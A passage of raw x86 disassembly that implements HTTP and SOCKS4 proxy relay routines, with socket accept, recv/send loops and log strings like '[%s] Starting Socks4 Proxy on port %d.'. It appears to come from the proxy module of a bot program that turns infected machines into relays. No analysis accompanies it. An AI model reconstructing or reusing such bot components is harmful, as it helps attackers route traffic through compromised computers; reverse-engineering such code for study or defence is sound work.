		lea	ecx, [esp+1Ch+arg_28]
		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 29B0000h


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		nop
		call	near ptr 71AB9639h


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		call	near ptr 29B0000h
		nop
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		nop
		call	near ptr 29B0000h
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		call	near ptr 71AB428Ah
		nop
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		call	near ptr 71AB2B66h
		nop
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		call	near ptr 71AB9639h
		nop
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 29B0000h
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60A5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

